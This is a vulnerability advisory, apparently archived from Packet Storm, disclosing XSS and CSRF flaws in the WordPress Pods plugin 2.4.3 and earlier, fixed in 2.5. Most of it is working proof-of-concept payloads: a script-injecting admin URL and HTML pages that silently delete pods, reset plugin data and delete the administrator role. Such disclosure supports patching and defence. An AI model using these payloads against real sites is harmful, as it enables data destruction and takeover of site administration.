what you don't know can hurt you

WordPress Pods 2.4.3 CSRF / Cross Site Scripting

WordPress Pods 2.4.3 CSRF / Cross Site Scripting
Posted Jan 12, 2015
Authored by Pietro Oliva

WordPress Pods plugin versions 2.4.3 and below suffer from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2014-7956, CVE-2014-7957
MD5 | 8393d28eee39aab2c860fcfbd03f64d2

WordPress Pods 2.4.3 CSRF / Cross Site Scripting

Change Mirror Download
Vulnerability title: Wordpress plugin Pods <= 2.4.3 XSS and CSRF vulnerabilities
vulnerabilities
Author: Pietro Oliva
CVE: CVE-2014-7956, CVE-2014-7957
Product: pods
Affected version: pods <= 2.4.3
Vulnerabilities fixed in version: 2.5


XSS vulnerability (CVE-2014-7956, authentication is needed):
http://localhost/wp-admin/admin.php?page=pods&action=edit&id=4"></a><script>alert('xss')</script><!--


Multiple CSRF (CVE-2014-7957,authentication needed):

CSRF 1 (bruteforce pods IDs and delete them):

<html>
<body>
<script>
target="http://localhost";
for (i=0; i<50;i++)
document.write('<img style="display:none"
src="'+target+'/wp-admin/admin.php?page=pods&action=delete&id='+i+'">');
</script>
</body>
</html>

CSRF 2 (delete pods plugin data):

<html>
<body onload="document.forms[0].submit();">
<form method="post"
action="http://localhost/wordpress/wp-admin/admin.php?page=pods-settings&tab=reset">
<input type="hidden" name="pods_reset" value="Reset Pods settings and data ">
</form>
</html>

CSRF 3 (deactivate pods and delete data):

<html>
<body onload="document.forms[0].submit();">
<form method="post"
action="http://localhost/wordpress/wp-admin/admin.php?page=pods-settings&tab=reset&pods_reset_deactivate=
Deactivate and Delete Pods data ">
<input type="hidden" name="pods_reset_deactivate" value=" Deactivate
and Delete Pods data ">
</form>
</html>

CSRF 4 (enable "roles and capabilities" component and delete admin role):

<html>
<script>
function continueExecution(){
document.write('<link rel="stylesheet"
href="http://localhost/wordpress/wp-admin/admin.php?page=pods-component-roles-and-capabilities&action=delete&id=administrator">');
}
document.write('<link rel="stylesheet"
href="http://localhost/wordpress/wp-admin/admin.php?page=pods-components&action=toggle&id=roles-and-capabilities&toggle=1&toggled=1">');
setTimeout(continueExecution, 10000);
</script>
</html>

CSRF 4 XSS impact:

http://localhost/wp-admin/admin.php?page=pods-components&action=toggle&id=roles-and-capabilities&toggle=1&toggled=111111111"
onmouseenter="alert('xss')"
style="width:3000px;height:1000px;left:0px;top:0px;position:absolute;opacity:0;"></a><!--

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close